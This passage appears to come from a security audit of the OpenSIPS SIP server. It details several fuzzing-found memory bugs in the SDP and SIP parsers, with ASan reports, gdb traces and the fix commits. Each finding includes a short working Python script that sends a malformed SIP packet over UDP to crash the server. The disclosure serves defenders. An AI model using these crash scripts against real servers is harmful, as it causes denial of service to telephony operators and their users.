  0x000080386e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x000080386ea0: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9
  0x000080386eb0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ec0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ed0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ee0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ef0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
```

```
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==253==ABORTING
```

The following is an example of an SDP body that triggers the bug, which is truncated up to the first **a=** attribute:

```
v=0<CRLF>
o=- 1633613948 1633613948 IN IP4 172.21.0.1<CRLF>
s=-<CRLF>
c=IN IP4 192.168.1.223<CRLF>
t=0 0<CRLF>
m=audio 9999 RTP/APV 0<CRLF>
a=
```

This malformed message was tested against an instance of OpenSIPS and was found to crash the server. Further analysis of this issue can be found in the appendix.

3.5.2 Impact

This issue may cause erratic program behaviour or a server crash. It affects configurations containing functions that make use of the affected code, such as the function **is_audio_on_hold**[1].

3.5.3 How to reproduce the issue

1. Start an OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060

#set module path
```

[1] https://opensips.org/html/docs/modules/3.2.x/sipmsgops.html#func_is_audio_on_hold

```
mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"
loadmodule "sipmsgops.so"

route{
    is_audio_on_hold();
    exit();
}
```

2. Save the below Python script to **`sdp-extract_field-crash.py`**

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060

msg = "INVITE sip:1000@%s SIP/2.0\r\n" % UDP_IP + \
    "Via: SIP/2.0/UDP 127.0.0.1:58896;rport;branch=z9hG4bK-0F3DFPN7CMINDHJF\r\n" + \
    "Max-Forwards: 70\r\n" + \
    "From: <sip:1001@127.0.0.1>;tag=979GF1IEZYDSJGX4\r\n" + \
    "To: <sip:1000@127.0.0.1>\r\n" + \
    "Call-ID: CWLFEHPRHXJ3H7MG\r\n" + \
    "CSeq: 1 INVITE\r\n" + \
    "Contact: <sip:1001@127.0.0.1:58896;transport=udp>\r\n" + \
    "Expires: 60\r\n" + \
    "Content-Length: 112\r\n" + \
    "Content-Type: application/sdp\r\n" + \
    "\r\n" + \
    "v=0\r\n" + \
    "o=- 1633613948 1633613948 IN IP4 172.21.0.1\r\n" + \
    "s=-\r\n" + \
    "c=IN IP4 192.168.1.223\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 9999 RTP/APV 0\r\n" + \
    "a="

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

3. Run the above script

```
python sdp-parser_f-crash.py <server-ip>
```

4. Observe the server crashing due to a segmentation fault

3.5.4 Solutions and recommendations

This issue was fixed in commit 2617c97[1]. The commit message reads as follows:

[1] https://github.com/OpenSIPS/opensips/commit/2617c97207b1fe2afead9f887f7a5df4da3b7d55

Fix crash in parse_sdp when a= is empty

When a bogus SDP was provided, with an empty **a=** line, there was no check for the length to be compared, resulting in a bad memory access, hence a crash.

3.6 Buffer over-read in function `extract_rtpmap` leads to DoS or undefined behaviour (CVSS: 8.6)

- Affects: SDP parser
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [1]

3.6.1 Description

When the patch for the **`extract_field`** issue is applied, parsing malformed SDP content using the **`parse_sdp`** function still leads to a crash. This occurs due to a buffer over-read bug triggered by the function **`extract_rtpmap`**.

This issue was discovered during coverage guided fuzzing of the function **`parse_sdp`**, found after **`sdp_helpr_funcs.c`** was patched to fix the previous finding. The issue occurs when extracting the SDP **`rtpmap`** attribute from a specially crafted SDP payload. The following was the AddressSanitizer report:

```
=================================================================
==273==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000001c77540 at
    pc 0x0000006b1eff bp 0x7ffddb696ce0 sp 0x7ffddb696cd8
READ of size 1 at 0x000001c77540 thread T0
    #0 0x6b1efe in q_memchr /opensips/parser/../ut.h:312:7
    #1 0x6b1cb9 in eat_line /opensips/parser/parser_f.c:35:13
    #2 0x6d8209 in extract_rtpmap /opensips/parser/sdp/sdp_helpr_funcs.c:68:24
    #3 0x6b8257 in parse_sdp_session /opensips/parser/sdp/sdp.c:574:37
    #4 0x6bdb9a in parse_sdp /opensips/parser/sdp/sdp.c:664:8
    #5 0xdea05d in LLVMFuzzerTestOneInput /test/main.c:45:5
    ...
```

[1] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

```
0x000001c77540 is located 0 bytes to the right of global variable 'buf' defined in
    '/test/main.c:8:13' (0x1c67540) of size 65536
SUMMARY: AddressSanitizer: global-buffer-overflow /opensips/parser/../ut.h:312:7 in q_memchr
Shadow bytes around the buggy address:
  0x000080386e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x000080386ea0: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9
  0x000080386eb0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ec0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ed0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ee0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ef0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==273==ABORTING
```

The following is an example of an SDP body that reproduced the issue, which ends with a truncated **`rtpmap`** attribute.

```
v=0<CRLF>
o=- 1633613948 1633613948 IN IP4 172.21.0.1<CRLF>
s=-<CRLF>
c=IN IP4 192.168.1.223<CRLF>
t=0 0<CRLF>
m=audio 9999 RTP/APV 0<CRLF>
a=rtpmap:101
```

This malformed message was tested against an instance of OpenSIPS and was found to crash the server. Further analysis of this issue can be found in the appendix.

3.6.2 Impact

This issue may cause erratic program behaviour or a server crash. It affects configurations containing functions that make use of the affected code, such as the function **is_audio_on_hold**[1].

3.6.3 How to reproduce the issue

1. Apply the patch that fixes the **extract_field** issue
2. Start the patched OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060

#set module path
mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"
loadmodule "sipmsgops.so"

route{
    is_audio_on_hold();
    exit();
}
```

3. Save the below Python script to **sdp-extract_rtpmap-crash.py**

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060

msg = "INVITE sip:1000@%s SIP/2.0\r\n" % UDP_IP + \
    "Via: SIP/2.0/UDP 127.0.0.1:58896;rport;branch=z9hG4bK-0F3DFPN7CMINDHJF\r\n" + \
    "Max-Forwards: 70\r\n" + \
    "From: <sip:1001@127.0.0.1>;tag=979GF1IEZYDSJGX4\r\n" + \
    "To: <sip:1000@127.0.0.1>\r\n" + \
    "Call-ID: CWLFEHPRHXJ3H7MG\r\n" + \
    "CSeq: 1 INVITE\r\n" + \
    "Contact: <sip:1001@127.0.0.1:58896;transport=udp>\r\n" + \
    "Expires: 60\r\n" + \
    "Content-Length: 112\r\n" + \
    "Content-Type: application/sdp\r\n" + \
    "\r\n" + \
    "v=0\r\n" + \
```

[1] https://opensips.org/html/docs/modules/3.2.x/sipmsgops.html#func_is_audio_on_hold

```
    "o=- 1633613948 1633613948 IN IP4 172.21.0.1\r\n" + \
    "s=-\r\n" + \
    "c=IN IP4 192.168.1.223\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 9999 RTP/APV 0\r\n" + \
    "a=rtpmap:101"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

4. Run the above script

```
python sdp-extract_rtpmap-crash.py <server-ip>
```

5. Notice the server crash due to a segmentation fault

3.6.4 Solutions and recommendations

This issue was fixed in commit aebac09 [1]. The commit message reads as follows:

> **Fix crash in parse_sdp for fmtp, rtpmap and hold**
>
> When invalid strings would have been passed, the remaining value would have resulted in an invalid memory access.

3.7 Buffer over-read in the function `extract_fmtp` leads to DoS or undefined behaviour (CVSS: 8.6)

- Affects: SDP parser
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [2]

[1] https://github.com/OpenSIPS/opensips/commit/aebac095b94607c86c6fe0278bae6e96bf53862e

[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

3.7.1 Description

When the patch for the **`extract_field`** issue is applied, parsing malformed SDP content using the **`parse_sdp`** function still leads to a crash. This occurs due to a buffer over-read bug triggered by the function **`extract_fmtp`**.

This issue was discovered during coverage guided fuzzing of the function **`parse_sdp`**, found after **`sdp_helpr_funcs.c`** was patched to fix the previous finding. The issue occurs when extracting the SDP **`fmtp`** attribute from a specially crafted SDP payload. The following was the AddressSanitizer report:

```
=================================================================
==905==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000001c77540 at
    pc 0x0000006b1eff bp 0x7fff8506a810 sp 0x7fff8506a808
READ of size 1 at 0x000001c77540 thread T0
    #0 0x6b1efe in q_memchr /opensips/parser/../ut.h:312:7
    #1 0x6b1cb9 in eat_line /opensips/parser/parser_f.c:35:13
    #2 0x6daf53 in extract_fmtp /opensips/parser/sdp/sdp_helpr_funcs.c:137:22
    #3 0x6b8716 in parse_sdp_session /opensips/parser/sdp/sdp.c:585:37
    #4 0x6bdb9a in parse_sdp /opensips/parser/sdp/sdp.c:664:8
    ...

0x000001c77540 is located 0 bytes to the right of global variable 'buf' defined in
    '/test/main.c:8:13' (0x1c67540) of size 65536
SUMMARY: AddressSanitizer: global-buffer-overflow /opensips/parser/../ut.h:312:7 in q_memchr
Shadow bytes around the buggy address:
  0x000080386e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x000080386ea0: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9
  0x000080386eb0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ec0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ed0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ee0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ef0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
```

```
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
```

The following is an example of an SDP body that reproduced the issue, which ends with a truncated **fmtp** attribute.

```
v=0<CRLF>
o=- 1633613948 1633613948 IN IP4 172.21.0.1<CRLF>
s=-<CRLF>
c=IN IP4 192.168.1.223<CRLF>
t=0 0<CRLF>
m=audio 9999 RTP/APV 0<CRLF>
a=fmtp:
```

This malformed message was tested against an instance of OpenSIPS and was found to crash the server. Further analysis of this issue can be found in the appendix.

3.7.2 Impact

This issue may cause erratic program behaviour or a server crash. It affects configurations containing functions that make use of the affected code, such as the function **is_audio_on_hold**[1].

3.7.3 How to reproduce the issue

1. Apply the patch that fixes the **extract_field** issues
2. Start the patched OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060

#set module path
mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"
loadmodule "sipmsgops.so"
```

[1] https://opensips.org/html/docs/modules/3.2.x/sipmsgops.html#func_is_audio_on_hold

```
route{
    is_audio_on_hold();
    exit();
}
```

3. Save the below Python script to **`sdp-extract_fmtp-crash.py`**

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060

msg = "INVITE sip:1000@%s SIP/2.0\r\n" % UDP_IP + \
    "Via: SIP/2.0/UDP 127.0.0.1:58896;rport;branch=z9hG4bK-0F3DFPN7CMINDHJF\r\n" + \
    "Max-Forwards: 70\r\n" + \
    "From: <sip:1001@127.0.0.1>;tag=979GF1IEZYDSJGX4\r\n" + \
    "To: <sip:1000@127.0.0.1>\r\n" + \
    "Call-ID: CWLFEHPRHXJ3H7MG\r\n" + \
    "CSeq: 1 INVITE\r\n" + \
    "Contact: <sip:1001@127.0.0.1:58896;transport=udp>\r\n" + \
    "Expires: 60\r\n" + \
    "Content-Length: 112\r\n" + \
    "Content-Type: application/sdp\r\n" + \
    "\r\n" + \
    "v=0\r\n" + \
    "o=- 1633613948 1633613948 IN IP4 172.21.0.1\r\n" + \
    "s=-\r\n" + \
    "c=IN IP4 192.168.1.223\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 9999 RTP/APV 0\r\n" + \
    "a=fmtp:"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

4. Run the above script

```
python sdp-extract_fmtp-crash.py <server-ip>
```

5. Observe the server crash due to a segmentation fault

3.7.4 Solutions and recommendations

This issue was fixed in commit aebac09 [1]. The commit message reads as follows:

> **Fix crash in parse_sdp for fmtp, rtpmap and hold**
>
> When invalid strings would have been passed, the remaining value would have resulted in an invalid memory access.

[1] https://github.com/OpenSIPS/opensips/commit/aebac095b94607c86c6fe0278bae6e96bf53862e

3.8 Off-by-one error in the function `append_hf` leads to a crash (CVSS: 8.6)

- Affects: SIP message parser
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [1]

3.8.1 Description

When the function **`append_hf`** handles a SIP message with a malformed **`To`** header, a call to the function **`abort()`** is performed resulting in a crash. This is due to the following check in **`data_lump.c:399`** in the function **`anchor_lump`**:

Source: **`data_lump.c`**

```
395 /* extra checks */
396 if (offset>msg->len){
397     LM_CRIT("offset exceeds message size (%d > %d)"
398                 " aborting...\n", offset, msg->len);
399     abort();
400 }
```

The payload that crashes the server is:

```
OPTIONS sip:127.0.0.1 SIP/2.0<CRLF>
Via: SIP/2.0/UDP 192.168.1.223:59589;rport;branch=z9hG4bK-dnOo7rULZLiOjRDh<CRLF>
To: a;a="T\
```

The analysis of this issue can be found in the appendix.

[1] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

3.8.2 Impact

An attacker abusing this vulnerability will crash OpenSIPS leading to Denial of Service. It affects configurations containing functions that make use of the affected code, such as the function **append_hf** [1].

3.8.3 How to reproduce the issue

1. Start the patched OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060

mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"
loadmodule "sipmsgops.so"

route {
    append_hf("P-hint: VOICEMAIL\r\n");
    exit;
}
```

2. Save the below Python script to **append_hf-anchor_lump-crash.py**

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060
msg = 'OPTIONS sip:127.0.0.1 SIP/2.0\r\n' + \
    'Via: SIP/2.0/UDP 192.168.1.223:59589;rport;branch=z9hG4bK-dnOo7rULZLiOjRDh\r\n' + \
    'To: a;a="T\\'

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

3. Run the above script

```
python append_hf-anchor_lump-crash.py <server-ip>
```

4. Observe the server crashing due to the call to the function **abort**

[1] https://opensips.org/html/docs/modules/3.2.x/sipmsgops.html#func_append_hf

3.8.4 Solutions and recommendations

This issue was fixed in commit eab8ff6 [1]. The commit message reads as follows:

> [sipmsgops] fix parse_to_param() parsing

3.9 Segmentation fault in the function `build_res_buf_from_sip_req` might lead to DoS (CVSS: 6.2)

- Affects: core
- CVSS v3.1
  - CVSS Base Score: 5.9
  - Impact Subscore: 3.6
  - Exploitability Subscore: 2.2
  - CVSS Temporal Score: 4.7
  - CVSS Environmental Score: 6.2
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 6.2
  - Vector: link [2]

3.9.1 Description

A potential issue was found in **`msg_translator.c:2628`** which might lead to a server crash. This issue was found while fuzzing the function **`build_res_buf_from_sip_req`** but could not be reproduced against a running instance of OpenSIPS.

To reproduce this issue in isolation, make use of the following code:

```
#include "globals.h"
#include "parser/msg_parser.h"
#include "msg_translator.h"

static char buf[BUF_SIZE + 1];
str s1, s2;
struct bookmark dummy_bm;
int main()
{
    char *buf = "Rion-TER sip:demo.sipvicious.pro SIP/2.0\r\n"
        "Via: SIP/2.0/UDP 192.168.1.223:49728;rportIP/2.0\r\n"
```

[1] https://github.com/OpenSIPS/opensips/commit/eab8ff654bebaa04dda7bed78266844b385f928b

[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:U/CR:X/IR:X/AR:H/MAV:X/MAC:X/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

```
        "Via: SIP/2.0/UDP 192.168.1.223:41587;rport;branch=z9hG4bK-7zg4cbNrdJUBCkdr\r\n"
        "To: <sip:49131450@demo.sipvicious.pro>;tag=1\r\n"
        "To: <sip:49131450@demo.sipvicious.pro>\r\n"
        "Expires: 60\r\nContent-Length: 0\r\n\r\n\0";
    *log_level = -3;
    pkg_mem_size = 10 * 1024 * 1024;
    init_pkg_mallocs();
    init_shm_mallocs();
    init_stats_collector();

    s1 = str_init("OK");
    s2 = str_init("new_tag");

    struct sip_msg *req;
    req = (struct sip_msg *)pkg_malloc(sizeof(struct sip_msg));
    if (req == NULL)
    {
        LM_ERR("No more memory\n");
        return 0;
    }
    memset(req, 0, sizeof(struct sip_msg));

    req->buf = buf;
    req->len = strlen(buf);
    req->rcv.src_ip.af = AF_INET;
    req->rcv.dst_ip.af = AF_INET;

    if (parse_msg(buf, strlen(buf), req) == 0)
    {
        if ((req->via1 == 0) || (req->via1->error != PARSE_OK))
        {
            goto end;
        }

        char *s;
        unsigned int l = strlen(buf);
        s = build_res_buf_from_sip_req(200, &s1, &s2, req, &l, &dummy_bm);
        printf("%s\n", s);
        if (s)
            pkg_free(s);
    }

end:
    free_sip_msg(req);
    pkg_free(req);
    return 0;
}
```

Compile and run the resulting binary using **gdb** and observe the backtrace:

```
(gdb) r
Starting program: /opensips/crash1
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
```

```
=================================================================
==7014==ERROR: AddressSanitizer: negative-size-param: (size=-3)
[Detaching after fork from child process 7018]
    #0 0x4db206 in __asan_memcpy /usr/local/src/llvm-project/compiler-rt/lib/asan/
        asan_interceptors_memintrinsics.cpp:22:3
    #1 0xb7ab15 in build_res_buf_from_sip_req /opensips/./msg_translator.c:2628:7
    #2 0xe0c8a4 in main /test/crash1.c:48:13
    #3 0x7f94712ed0b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/
        libc-start.c:308:16
    #4 0x43672d in _start (/opensips/crash1+0x43672d)

0x000000fb38f6 is located 214 bytes inside of global variable '<string literal>' defined in
    '/test/crash1.c:10:17' (0xfb3820) of size 290
SUMMARY: AddressSanitizer: negative-size-param /usr/local/src/llvm-project/compiler-rt/lib/
    asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
==7014==ABORTING
[Inferior 1 (process 7014) exited with code 01]
```

When calling the function **`append_str`** on line 2628, the length parameter is set to a negative value calculated by **`to_tag.s-hdr->name.s`**. This happens when the SIP payload contains two **`To`** headers, the first one containing a tag while the second one does not. In this case, **`to_tag.s`** would point to the first to tag when processing the second **`To`** header, resulting in a negative value.

```
To: <sip:49131450@demo.sipvicious.pro>;tag=1<CRLF>
To: <sip:49131450@demo.sipvicious.pro><CRLF>
```

3.9.2 Impact

This issue could not be exploited against a running instance of OpenSIPS since no public function was found to make use of this vulnerable code. Even in the case of exploitation through unknown vectors, it is highly unlikely that this issue would lead to anything other than Denial of Service.

3.9.3 How to reproduce the issue

1. Compile the code provided in the description using clang and AddressSanitizer **`-fsanitize=address`**
2. Run the binary and observe the AddressSanitizer report

3.9.4 Solutions and recommendations

This issue was fixed in commit 9cf3dd3 [1]. The commit message reads as follows:

[1] https://github.com/OpenSIPS/opensips/commit/9cf3dd3398719dd91207495f76d7726701c5145c

[core] build_res_buf_from_sip_req(): fix hdr correlation

3.10 Segmentation fault when calling the function `calc_tag_suffix` leads to DoS (CVSS: 8.6)

- Affects: core
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [1]

3.10.1 Description

Sending a malformed **`Via`** header to OpenSIPS triggers a segmentation fault when the function **`calc_tag_suffix`** is called. A specially crafted **`Via`** header which is deemed correct by the parser, will pass uninitialized strings to the function **`MD5StringArray`** which leads to the crash. The following is a payload that demonstrates this issue:

```
OPTIONS sip:127.0.0.1 SIP/2.0<CRLF>
Via: SIP/2.0/\x16UD~PTo :::]<LF>
Via: SIP/2.0/UD~PToD~PTo :::]<LF>
\x16ia: SIP/2.0/UD~PTo ::trA><CRLF>
To:. <sv:>;tga\x91o5;tga=0fe
```

The following code from **`tags.h`** appears to be the cause of the crash:

```
63 if (msg->via1==0) return; /* no via, bad message */
64 suffix_source[0]=msg->via1->host;
65 suffix_source[1]=msg->via1->port_str;
66 if (msg->via1->branch)
67     suffix_source[ss_nr++]=msg->via1->branch->value;
```

The following debugging log shows why the crash occurs:

[1] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

```
(gdb) b sl_funcs.c:172
Breakpoint 1 at 0x7fc4c099d7cd: file sl_funcs.c, line 172.
(gdb) c
Continuing.

Breakpoint 1, sl_send_reply_helper (msg=0x7fc4c2be64b8, code=404, text=0x7fff2e917670) at
    sl_funcs.c:172
172         calc_tag_suffix( msg, tag_suffix );
(gdb) s
calc_tag_suffix (msg=0x7fc4c2be64b8, tag_suffix=0x7fc4c09a17a5 <sl_tag_buf+5> "") at
    ../../tags.h:58
58  {
(gdb) n
62      ss_nr=2;
(gdb) n
63      if (msg->via1==0) return; /* no via, bad message */
(gdb) n
64      suffix_source[0]=msg->via1->host;
(gdb) n
65      suffix_source[1]=msg->via1->port_str;
(gdb) p suffix_source[0]
$1 = {s = 0x0, len = -1390234440}
(gdb) p suffix_source[1]
$2 = {s = 0x55c4ad0fb139 <ctime_buf+25> "", len = 0}
(gdb) n
66      if (msg->via1->branch)
(gdb) n
68      MD5StringArray( tag_suffix, suffix_source, ss_nr );
```

Notice that the string **`suffix_source[0]->s`** on line 22 is uninitialized (i.e. **`0x0`**). This is then used in the function **`MD5StringArray`**, which would lead to a segmentation fault:

Source: **`md5utils.c`**

```
for (i=0; i < size; i++) {
    trim_len(len, tmp, src[i]);
```

```
Program received signal SIGSEGV, Segmentation fault.
0x000055c4aced72f6 in MD5StringArray (dest=0x7fc4c09a17a5 <sl_tag_buf+5> "",
    src=0x7fff2e9173d0, size=2) at md5utils.c:55
55          trim_len(len, tmp, src[i]);
(gdb) bt
#0  0x000055c4aced72f6 in MD5StringArray (dest=0x7fc4c09a17a5 <sl_tag_buf+5> "",
    src=0x7fff2e9173d0, size=2) at md5utils.c:55
#1  0x00007fc4c099d19c in calc_tag_suffix (msg=0x7fc4c2be64b8, tag_suffix=0x7fc4c09a17a5
    <sl_tag_buf+5> "") at ../../tags.h:68
#2  0x00007fc4c099d7e6 in sl_send_reply_helper (msg=0x7fc4c2be64b8, code=404,
    text=0x7fff2e917670) at sl_funcs.c:172
#3  0x00007fc4c099da25 in sl_send_reply (msg=0x7fc4c2be64b8, code=404,
    text=0x7fff2e917670, totag=0x0) at sl_funcs.c:216
#4  0x00007fc4c099b86e in w_sl_send_reply (msg=0x7fc4c2be64b8, code_i=0x7fff2e917668,
    code_s=0x7fff2e917670) at sl.c:190
#5  0x000055c4acea3a2e in do_action (a=0x7fc4c29ada50, msg=0x7fc4c2be64b8) at action.c:961
```

```
...
```

3.10.2 Impact

Abuse of this vulnerability leads to Denial of Service due to a crash. Since the uninitialized string points to memory location **`0x0`**, no further exploitation appears to be possible. No special network privileges are required to perform this attack, as long as the OpenSIPS configuration makes use of functions such as **`sl_send_reply`** or **`sl_gen_totag`** that trigger the vulnerable code.

3.10.3 How to reproduce the issue

1. Start an OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060

mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"
loadmodule "sl.so"

route {
    sl_send_reply(404, "Not found");
    exit;
}
```

2. Save the below Python script to **`sl_send_reply-crash.py`**

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060
msg = 'OPTIONS sip:127.0.0.1 SIP/2.0\r\nVia: SIP/2.0/\x16UD~PTo :::]\n' + \
    'Via: SIP/2.0/UD~PToD~PTo :::]\n' + \
    '\x16ia: SIP/2.0/UD~PTo ::trA>\r\nTo:. <sv:>;tga\x91o5;tga=0fe'

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

